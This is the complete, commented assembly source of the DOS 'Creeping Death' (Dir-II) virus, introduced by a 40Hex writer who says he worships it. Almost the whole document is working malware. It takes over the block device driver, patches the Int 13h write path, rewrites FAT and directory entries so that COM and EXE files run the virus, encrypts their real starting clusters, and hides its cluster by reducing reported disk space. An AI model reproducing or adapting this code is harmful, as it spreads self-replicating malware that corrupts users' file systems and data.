; Dark Angel's comments: I spent my entire waking hours looking at this virus.
;                        I love it.  It is my life.  I worship the drive it
;                        infects.  Take a look at it.  Let not my troubles be
;                        in vain.  Why did I do this?  I sacrifice my life for
;                        the benefit of 40Hex.  If you don't read this, I'm
;                        gonna go join [NuKE].

;        Creeping Death  V 1.0
;
;        (C) Copyright 1991 by VirusSoft Corp.

i13org    =    5f8h
i21org    =    5fch

dir_2   segment byte public
        assume  cs:dir_2, ds:dir_2

        org   100h

start:
         mov   sp,600h                          ; Set up the stack pointer
         inc   word ptr counter                 ; Generation counter
         xor   cx,cx
         mov   ds,cx                            ; DS points to interrupt table
         lds   ax, ds:[0c1h]                    ; Find interrupt 30h
         add   ax,21h                           ; Change it to Int 21h
         push  ds                               ; Save it on stack for use by
         push  ax                               ; subroutine "jump"
         mov   ah,30h                           ; Get DOS version
         call  jump
         cmp   al,4                             ; DOS 4.X+ : SI = 0
         sbb   si,si                            ; DOS 2/3  : SI = -1
         mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
                                                ; "never accessed"
         mov   bx,60h                           ; Adjust memory in ES to
         mov   ah,4ah                           ; BX paragraphs.
         call  jump

         mov   ah,52h                           ; Get DOS List of Lists
         call  jump                             ; to ES:BX
         push  es:[bx-2]                        ; Save Segment of first MCB
         lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
                                                ;  (Drive parameter block)
search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
         cmp   ax,70h                           ; Is it CONFIG? (I think)
         jne   next                             ; If not, try again
         xchg  ax,cx                            ; Move driver segment to CX
         mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
         mov   di,[bx+si+13h]                   ; Save offset of device driver
                                                ; Original device driver
                                                ; address in CX:DI
         mov   [bx+si+13h],offset header        ; Replace with our own
         mov   [bx+si+15h],cs                   ;  (header)
next:    lds   bx,[bx+si+19h]                   ; Get next device block
         cmp   bx,-1                            ; Is it the last one?
         jne   search                           ; If not, search it
         jcxz  install

         pop   ds                               ; Restore segment of first
         mov   ax,ds                            ; MCB
         add   ax,ds:[3]                        ; Go to next MCB
         inc   ax                               ; AX = segment next MCB
         mov   dx,cs                            ; DX = MCB owning current
         dec   dx                               ;      program
         cmp   ax,dx                            ; Are these the same?
         jne   no_boot                          ; If not, we are not currently
                                                ; in the middle of a reboot
         add   word ptr ds:[3],61h              ; Increase length owned by
                                                ; MCB by 1552 bytes
no_boot: mov   ds,dx                            ; DS = MCB owning current
                                                ; program
         mov   word ptr ds:[1],8                ; Set owner = DOS

         mov   ds,cx                            ; DS = segment of original
                                                ;      device driver
         les   ax,[di+6]                        ; ES = offset int handler
                                                ; AX = offset strategy entry
         mov   word ptr cs:str_block,ax         ; Save entry point
         mov   word ptr cs:int_block,es         ; And int block for use in
                                                ; function _in
         cld                                    ; Scan for the write
         mov   si,1                             ; function in the
scan:    dec   si                               ; original device driver
         lodsw
         cmp   ax,1effh
         jne   scan
         mov   ax,2cah                          ; Wicked un-yar place o'
         cmp   [si+4],ax                        ; doom.
         je    right
         cmp   [si+5],ax
         jne   scan
right:   lodsw
         push  cs
         pop   es
         mov   di,offset modify+1               ; Save address of patch
         stosw                                  ; area so it can be changed
         xchg  ax,si                            ; later.
         mov   di,offset i13org                 ; This is in the stack, but
         cli                                    ; it is used by "i13pr"
         movsw
         movsw

         mov   dx,0c000h                        ; Scan for hard disk ROM
                                                ; Start search @ segment C000h
fdsk1:   mov   ds,dx                            ; Load up the segment
         xor   si,si                            ; atart at offset 0000h
         lodsw                                  ; Scan for the signature
         cmp   ax,0aa55h                        ; Is it the signature?
         jne   fdsk4                            ; If not, change segment
         cbw                                    ; clear AH
         lodsb                                  ; load a byte to AL
         mov   cl,9
         sal   ax,cl                            ; Shift left, 0 filled
fdsk2:   cmp   [si],6c7h
         jne   fdsk3
         cmp   word ptr [si+2],4ch
         jne   fdsk3
         push  dx                               ; Save the segment
         push  [si+4]                           ; and offset on stack
         jmp   short death                      ; for use by i13pr

install: int   20h
file:    db    "c:",255,0
fdsk3:   inc   si                               ; Increment search offset
         cmp   si,ax                            ; If we are not too high,
         jb    fdsk2                            ; try again
fdsk4:   inc   dx                               ; Increment search segment
         cmp   dh,0f0h                          ; If we are not in high
         jb    fdsk1                            ; memory, try again

         sub   sp,4                             ; effectively push dummy vars.
death:   push  cs                               ; on stack for use by i13pr
         pop   ds
         mov   bx,ds:[2ch]                      ; Get environment from PSP
         mov   es,bx
         mov   ah,49h                           ; Release it (to save memory)
         call  jump
         xor   ax,ax
         test  bx,bx                            ; Is BX = 0?
         jz    boot                             ; If so, we are booting now
         mov   di,1                             ; and not running a file
seek:    dec   di                               ; Search for end of
         scasw                                  ; the environment block
         jne   seek
         lea   si,[di+2]                        ; SI points to filename
         jmp   short exec                       ; (in DOS 3.X+)
                                                ; Execute that file
boot:    mov   es,ds:[16h]                      ; get PSP of parent
         mov   bx,es:[16h]                      ; get PSP of parent
         dec   bx                               ; go to its MCB
         xor   si,si
exec:    push  bx
         mov   bx,offset param                  ; Set up parameter block
                                                ; for EXEC function
         mov   [bx+4],cs                        ; segment to command line
         mov   [bx+8],cs                        ; segment to 1st FCB
         mov   [bx+12],cs                       ; segment to 2nd FCB
         pop   ds
         push  cs
         pop   es

         mov   di,offset f_name
         push  di                               ; Save filename offset
         mov   cx,40                            ; Copy the filename to
         rep   movsw                            ; the buffer
         push  cs
         pop   ds

         mov   ah,3dh                           ; Handle open file
         mov   dx,offset file                   ; "c:�",0
         call  jump
         pop   dx                               ; DS:DX -> filename

         mov   ax,4b00h                         ; Load and Execute
         call  jump                             ; ES:BX = param block
         mov   ah,4dh                           ; Get errorlevel
         call  jump
         mov   ah,4ch                           ; Terminate

jump:    pushf                                  ; Simulate an interrupt 21h
         call  dword ptr cs:[i21org]
         ret


;--------Installation complete

i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
         jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
                                                ; head DH, drive DL


main:    push  ax            ; driver
         push  cx            ; strategy block
         push  dx
         push  ds
         push  si
         push  di

         push  es                               ; Move segment of parameter
         pop   ds                               ; block to DS
         mov   al,[bx+2]                        ; [bx+2] holds command code

         cmp   al,4                             ; Input (read)
         je    input
         cmp   al,8                             ; Output (write)
         je    output
         cmp   al,9                             ; Output (write) with verify
         je    output

         call  in_                              ; Call original device
         cmp   al,2                             ; Request build BPB
         jne   ppp                              ; If none of the above, exit
         lds   si,[bx+12h]                      ; DS:SI point to BPB table
         mov   di,offset bpb_buf                ; Replace old pointer with
         mov   es:[bx+12h],di                   ; a pointer to our own
         mov   es:[bx+14h],cs                   ; BPB table
         push  es                               ; Save segment of parameters
         push  cs
         pop   es
         mov   cx,16                            ; Copy the old BPB table to
         rep   movsw                            ; our own
         pop   es                               ; Restore parameter segment
         push  cs
         pop   ds
         mov   al,[di+2-32]                     ; AL = sectors per allocation
         cmp   al,2                             ;      unit.  If less than
         adc   al,0                             ;      2, increment
         cbw                                    ; Extend sign to AH (clear AH)
         cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
         je    m32                              ; If so, big partition (>32MB)
         sub   [di+8-32],ax                     ; Decrease space of disk by
                                                ; one allocation unit(cluster)
         jmp   short ppp                        ; Exit
m32:     sub   [di+15h-32],ax                   ; Handle large partitions
         sbb   word ptr [di+17h-32],0

ppp:     pop   di
         pop   si
         pop   ds
         pop   dx
         pop   cx
         pop   ax
rts:     retf                                   ; We are outta here!

output:  mov   cx,0ff09h
         call  check                            ; is it a new disk?
         jz    inf_sec                          ; If not, go away
         call  in_                              ; Call original device handler
         jmp   short inf_dsk

inf_sec: jmp   _inf_sec
read:    jmp   _read
read_:   add   sp,16                            ; Restore the stack
         jmp   short ppp                        ; Leave device driver

input:   call  check                            ; Is it a new disk?
         jz    read                             ; If not, leave
inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
         cld
         lea   si,[bx+0eh]                      ; Load from buffer address
         mov   cx,8                             ; Save device driver request
save:    lodsw                                  ; on the stack
         push  ax
         loop  save
         mov   word ptr [bx+14h],1              ; Starting sector number = 1
                                                ; (Read 1st FAT)
         call  driver                           ; Read one sector
         jnz   read_                            ; If error, exit
         mov   byte ptr [bx+2],2                ; Otherwise build BPB
         call  in_                              ; Have original driver do the
                                                ; work
         lds   si,[bx+12h]                      ; DS:SI points to BPB table
         mov   ax,[si+6]                        ; Number root directory entries
         add   ax,15                            ; Round up
         mov   cl,4
         shr   ax,cl                            ; Divide by 16 to find sectors
                                                ; of root directory
         mov   di,[si+0bh]                      ; DI = sectors/FAT
         add   di,di                            ; Double for 2 FATs
         stc                                    ; Add one for boot record
         adc   di,ax                            ; Add sector size of root dir
         push  di                               ; to find starting sector of
                                                ; data (and read)
         cwd                                    ; Clear DX
         mov   ax,[si+8]                        ; AX = total sectors
         test  ax,ax                            ; If it is zero, then we have
         jnz   more                             ; an extended partition(>32MB)
         mov   ax,[si+15h]                      ; Load DX:AX with total number
         mov   dx,[si+17h]                      ; of sectors
more:    xor   cx,cx
         sub   ax,di                            ; Calculate FAT entry for last
                                                ; sector of disk
         sbb   dx,cx
         mov   cl,[si+2]                        ; CL = sectors/cluster
         div   cx                               ; AX = cluster #
         cmp   cl,2                             ; If there is more than 1
         sbb   ax,-1                            ; cluster/sector, add one
         push  ax                               ; Save cluster number
         call  convert                          ; AX = sector number to read
                                                ; DX = offset in sector AX
                                                ;      of FAT entry
                                                ; DI = mask for EOF marker
         mov   byte ptr es:[bx+2],4             ; INPUT (read)
         mov   es:[bx+14h],ax                   ; Starting sector = AX
         call  driver                           ; One sector only
again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
         add   si,dx                            ; Go to FAT entry
         sub   dh,cl                            ; Calculate a new encryption
         adc   dx,ax                            ; value
         mov   word ptr cs:gad+1,dx             ; Change the encryption value
         cmp   cl,1                             ; If there is 0 cluster/sector
         je    small_                           ; then jump to "small_"
         mov   ax,[si]                          ; Load AX with offset of FAT
                                                ; entry
         and   ax,di                            ; Mask it with value from
                                                ; "convert" then test to see
                                                ; if the sector is fine
         cmp   ax,0fff7h                        ; 16 bit reserved/bad
         je    bad
         cmp   ax,0ff7h                         ; 12 bit reserved/bad
         je    bad
         cmp   ax,0ff70h                        ; 12 bit reserved/bad
         jne   ok
bad:     pop   ax                               ; Tried to replicate on a bad
         dec   ax                               ; cluster.  Try again on a
         push  ax                               ; lower one.
         call  convert                          ; Find where it is in the FAT
         jmp   short again                      ; and try once more
small_:  not   di                               ; Reverse mask bits
         and   [si],di                          ; Clear other bits
         pop   ax                               ; AX = cluster number
         push  ax
         inc   ax                               ; Need to do 2 consecutive
         push  ax                               ; bytes
         mov   dx,0fh
         test  di,dx
         jz    here
         inc   dx                               ; Multiply by 16
         mul   dx
here:    or    [si],ax                          ; Set cluster to next
         pop   ax                               ; Restore cluster of write
         call  convert                          ; Calculate buffer offset
         mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
         add   si,dx
         mov   ax,[si]
         and   ax,di
ok:      mov   dx,di                            ; DI = mask from "convert"
         dec   dx
         and   dx,di                            ; Yerg!
         not   di
         and   [si],di
         or    [si],dx                          ; Set [si] to DI

         cmp   ax,dx                            ; Did we change the FAT?
         pop   ax                               ; i.e. Are we already on this
         pop   di                               ; disk?
         mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
         je    _read_                           ; If we didn't infect, then
                                                ; leave the routine.  Oh
                                                ; welp-o.
         mov   dx,[si]
         push  ds
         push  si
         call  write                            ; Update the FAT
         pop   si
         pop   ds
         jnz   _read_                           ; Quit if there's an error
         call  driver
         cmp   [si],dx
         jne   _read_
         dec   ax
         dec   ax
         mul   cx                               ; Multiply by sectors/cluster
                                                ; to find the sector of the
                                                ; write
         add   ax,di
         adc   dx,0
         push  es
         pop   ds
         mov   word ptr [bx+12h],2              ; Byte/sector count
         mov   [bx+14h],ax                      ; Starting sector #
         test  dx,dx
         jz    less
         mov   word ptr [bx+14h],-1             ; Flag extended partition
         mov   [bx+1ah],ax                      ; Handle the sector of the
         mov   [bx+1ch],dx                      ; extended partition
less:    mov   [bx+10h],cs                      ; Transfer address segment
         mov   [bx+0eh],100h                    ; and the offset (duh)
         call  write                            ; Zopy ourselves!
                                                ; (We want to travel)
_read_:  std
         lea   di,[bx+1ch]                      ; Restore device driver header
         mov   cx,8                             ; from the stack
load:    pop   ax
         stosw
         loop  load
_read:   call  in_                              ; Call original device handler

         mov   cx,9
_inf_sec:
         mov   di,es:[bx+12h]                   ; Bytes/Sector
         lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
         sal   di,cl                            ; Multiply by 512
                                                ; DI = byte count
         xor   cl,cl
         add   di,si                            ; Go to address in the buffer
         xor   dl,dl                            ; Flag for an infection in
                                                ; function find
         push  ds
         push  si
         call  find                             ; Infect the directory
         jcxz  no_inf
         call  write                            ; Write it back to the disk
         and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
                                                ; word
no_inf:  pop   si
         pop   ds
         inc   dx                               ; Flag for a decryption in
                                                ; function find
         call  find                             ; Return right information to
                                                ; calling program
         jmp   ppp

;--------Subroutines

find:    mov   ax,[si+8]                        ; Check filename extension
         cmp   ax,"XE"                          ; in directory structure
         jne   com
         cmp   [si+10],al
         je    found
com:     cmp   ax,"OC"
         jne   go_on
         cmp   byte ptr [si+10],"M"
         jne   go_on
found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
         jnz   go_on                            ; to see if it is too big
         test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
         jz    go_on                            ; to see if it is too small
         test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
         jnz   go_on                            ; volume label or system file
         test  dl,dl                            ; If none of these, check DX
         jnz   rest                             ; If not 0, decrypt
pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
         cmp   ax,[si+1ah]                      ; Check for same starting
                                                ; cluster number as us
         je    go_on                            ; If it is, then try another
         xchg  ax,[si+1ah]                      ; Otherwise make it point to
                                                ; us.
gad:     xor   ax,1234h                         ; Encrypt their starting
                                                ; cluster
         mov   [si+14h],ax                      ; And put it in area reserved
                                                ; by DOS for no purpose
         loop  go_on                            ; Try another file
rest:    xor   ax,ax                            ; Disinfect the file
         xchg  ax,[si+14h]                      ; Get starting cluster
         xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
         mov   [si+1ah],ax                      ; and put it back
go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
         dw    offset gad+1                     ; Change encryption and
         add   si,32                            ; go to next file
         cmp   di,si                            ; If it is not past the end of
         jne   find                             ; the buffer, then try again
         ret                                    ; Otherwise quit

check:   mov   ah,[bx+1]                        ; ah = unit code (block device
                                                ;                 only)
drive:   cmp   ah,-1                            ; cmp ah, XX can change.
                                                ; Compare with the last call
                                                ; -1 is just a dummy
                                                ; impossible value that will
                                                ; force the change to be true
         mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
         jne   changed                          ; If not the same as last call
                                                ; media has changed
         push  [bx+0eh]                         ; If it is the same physical
                                                ; drive, see if floppy has
                                                ; been changed
         mov   byte ptr [bx+2],1                ; Tell original driver to do a
         call  in_                              ; media check (block only)
         cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
         pop   [bx+0eh]                         ; media has not been changed
         mov   [bx+2],al                        ; Restore command code
changed: ret                                    ; CF,ZF set if media has not
                                                ; been changed, not set if
                                                ; has been changed or we don't
                                                ; know
write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
         jae   in_                              ; original device handler
                                                ; and return to caller
         mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
         mov   si,70h
         mov   ds,si                            ; DS = our segment
modify:  mov   si,1234h                         ; Address is changed elsewhere
         push  [si]
         push  [si+2]
         mov   [si],offset i13pr
         mov   [si+2],cs
         call  in_                              ; Call original device handler
         pop   [si+2]
         pop   [si]
         ret

driver:  mov   word ptr es:[bx+12h],1           ; One sector
in_:                                            ; in_ first calls the strategy
                                                ; of the original device
                                                ; driver and then calls the
                                                ; interrupt handler
         db    09ah                             ; CALL FAR PTR
str_block:
         dw    ?,70h                            ; address
         db    09ah                             ; CALL FAR PTR
int_block:
         dw    ?,70h                            ; address
         test  es:[bx+4],byte ptr 80h           ; Was there an error?
         ret

convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
         jae   fat_16                           ; 0FF0h = reserved cluster
         mov   si,3                             ; 12 bit FAT
         xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
         mul   si                               ; Multiply by 3 and
         shr   ax,1                             ; divide by 2
         mov   di,0fffh                         ; Mark it EOF (low 12 bits)
         jnc   cont                             ; if it is even, continue
         mov   di,0fff0h                        ; otherwise, mark it EOF (high
         jmp   short cont                       ; 12 bits) and then continue
fat_16:  mov   si,2                             ; 16 bit FAT
         mul   si                               ; Double cluster #
         mov   di,0ffffh                        ; Mark it as end of file
cont:    mov   si,512
         div   si                               ; AX = sector number
                                                ; (relative to start of FAT)
                                                ; DX = offset in sector AX
header:  inc   ax                               ; Increment AX to account for
         ret                                    ; boot record

counter: dw    0

         dw    842h                             ; Attribute
                                                ;  Block device
                                                ;  DOS 3 OPEN/CLOSE removable
                                                ;        media calls supported
                                                ;  Generic IOCTL call supported
                                                ; Supports 32 bit sectors
         dw    offset main                      ; Strategy routine
         dw    offset rts                       ; Interrupt routine (rtf)
         db    7fh                              ; Number of subunits supported
                                                ; by this driver.  Wow, lookit
                                                ; it -- it's so large and juicy

; Parameter block format:
; 0  WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param:   dw    0,80h,?,5ch,?,6ch,?

bpb_buf: db    32 dup(?)
f_name:  db    80 dup(?)

;--------The End.
dir_2   ends
        end     start